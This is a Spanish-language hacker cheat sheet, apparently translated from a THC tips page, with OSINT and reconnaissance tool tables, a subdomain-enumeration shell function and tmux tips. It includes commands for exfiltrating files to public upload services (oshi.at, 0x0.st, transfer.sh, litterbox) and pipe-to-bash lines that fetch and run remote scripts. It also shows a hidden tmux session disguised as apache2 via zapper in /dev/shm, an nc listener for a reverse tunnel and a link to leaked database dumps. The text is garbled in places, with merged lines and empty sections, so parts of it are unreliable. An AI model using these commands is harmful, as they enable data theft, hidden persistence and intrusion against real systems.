[ $# -ne 1 ] && { echo >&2 "crt <domain-name>"; return 255; }
curl -fsSL "https://crt.sh/?q=${1:?}&output=json" --compressed | jq -r '.[].common_name,.[].name_value' | anew | sed 's/^\*\.//g' | tr '[:upper:]' '[:lower:]'
curl -fsSL "https://ip.thc.org/sb/${1:?}"
}
# sub <domain>
| Herramientas OSINT para Hackers | |
|---|---|
| https://api.c99.nl | Gratis: Subdomain Finder, DE PAGO: Phone-Lookup, CF Resolver, WAF Detector, IP2Host, y más... por $25/año. |
| https://osint.sh | Gratis. Subdomain Finder, historial de DNS, buckets S3 públicos, IP inversa, búsqueda de certificados y más |
| https://cli.fyi | Gratis. Interfaz curl/json para muchos servicios. Prueba curl cli.fyi/me o curl cli.fyi/thc.org. |
| https://check-your-website.server-daten.de | Gratis. Comprobación TLS/DNS/Seguridad de un dominio. |
| https://ipsniper.info/api.html | rDNS/fDNS y otras herramientas de información IP |
| https://ip.thc.org | Consulta fDNS/rDNS: curl -fL ip.thc.org/140.82.121.3 |
| https://hackertarget.com/ip-tools/ | Servicio OSINT gratuito (IP inversa, MTR, escaneo de puertos, escaneos CMS, escaneos de vulnerabilidades, soporte API) |
| https://account.shodan.io/billing/tour | Base de datos de puertos abiertos y consulta DNS de todo el mundo |
| https://dnsdumpster.com/ | Herramienta de reconocimiento de dominios |
| https://crt.sh/ | Búsqueda de certificados TLS |
| https://archive.org/web/ | Vista histórica de sitios web |
| https://www.farsightsecurity.com/solutions/dnsdb/ | Búsqueda DNS (no gratuita) |
| https://wigle.net/ | Mapeador de redes inalámbricas |
| https://radiocells.org/ |
| OSINT para Detectives | |
|---|---|
| https://start.me/p/rx6Qj8/nixintel-s-osint-resource-list | Lista de recursos OSINT de Nixintel |
| https://github.com/jivoi/awesome-osint | Lista Awesome OSINT |
| https://cipher387.github.io/osint_stuff_tool_collection/ | Colección de herramientas OSINT |
| https://osintframework.com/ | Muchas herramientas OSINT |
| Bases de datos OSINT | |
|---|---|
| https://data.ddosecrets.com/ | Volcados de bases de datos |
Comunicaciones
OpSec
exiftool -all= example.pdf example1.jpg ...)Exploits
Recopilación de información del sistema
curl -fsSL https://thc.org/ws | bash - Muestra todos los dominios alojados en un servidor + información del sistemagetexploit después de instalar)Backdoors
Escáneres de red
Escáneres de vulnerabilidades (ten en cuenta: todos generan un 99% de falsos positivos no explotables. Todos apestan.)
DDoS
Binarios estáticos / herramientas precompiladas
Phishing
Herramientas
Callback / Canary / Comando y Control
Tunelización
blitz -l / blitz foo.txtexfilcurl -T foo.txt https://oshi.atcurl -F'[email protected]' https://0x0.st/curl -T foo.txt https://transfer.shcurl -F reqtype=fileupload -F time=72h -F '[email protected]' https://litterbox.catbox.moe/resources/internals/api.phpcroc send foo.txt / croc anit-price-exampleForos y conferencias
Mapas mentales y conocimiento
| Hoja de referencia de Tmux | |
|---|---|
| Buffer máximo | Ctrl-b + : + set-option -g history-limit 65535 |
| Guardar scrollback | Ctrl-b + : + capture-pane -S - seguido de Ctrl-b + : + save-buffer filename.txt. |
| Espiar scrollback | tmux capture-pane -e -pS- -t 6.0 para capturar el panel 6, ventana 0 de un tmux en ejecución. Quita -e para guardar sin color. |
| Limpiar | tmux send-keys -R C-l \; clear-history -t6.0 para limpiar la pantalla y eliminar el historial de scrollback. |
| Registro | Ctrl-b + : + bind-key P pipe-pane -o "exec cat >>$HOME/'tmux-#W-#S.log'" \; display-message 'Toggling ~/tmux-#W-#S.log'Pulsa Ctrl-b + Shift + P para iniciar y detener. |
| Tmux oculto | cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cachePara conectarte a tu sesión haz cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache attach |
| Conectar | Inicia un nuevo tmux, luego escribe Ctrl-b + s y usa LEFT, RIGHT para previsualizar y seleccionar cualquier sesión. |
| Menú | Ctrl-b + >. Luego usa Ctrl-b + UP, DOWN, LEFT o RIGHT para moverte entre los paneles. |
Usa lsof -Pni o netstat -putan (o ss -putan) para listar todas las conexiones de Internet (-tu).
Usa ss -lntp para mostrar todos los sockets TCP (-t) en escucha (-l).
Usa netstat -rn o ip route show para mostrar la ruta de Internet predeterminada.
Usa curl cheat.sh/tar para obtener ayuda TLDR para tar. Funciona con cualquier otro comando de Linux.
Usa curl -fsSL bench.sh | bash para probar la velocidad de un servidor.
Piratear a través de enlaces de alta latencia o enlaces lentos puede ser frustrante. Cada pulsación de tecla se transmite una a una y cualquier error tipográfico se vuelve mucho más frustrante y lento de deshacer. rlwrap viene al rescate. Almacena en búfer todas las pulsaciones individuales hasta que se pulsa Enter y luego transmite toda la línea de una vez. Esto hace que sea mucho más fácil escribir a alta velocidad, corregir errores, ...
Ejemplo para el extremo receptor de un túnel inverso:```sh rlwrap --always-readline nc -vnlp 1524
Ejemplo para *SSH*:```sh
rlwrap --always-readline ssh user@host
Hay muchas formas, pero una es:
Reconocimientos: ADM, subz/#9x, DrWho, spoty Únete a nosotros en Telegram.
| Información de torres de telefonía móvil |
| https://www.shodan.io/ | Motor de búsqueda para encontrar dispositivos y banners (no gratuito) |
| https://spur.us/context/me | Calificación IP https://spur.us/context/<IP> |
| http://drs.whoisxmlapi.com | Consulta Whois inversa (no gratuita) |
| https://www.abuseipdb.com | Calificación de abuso de IP |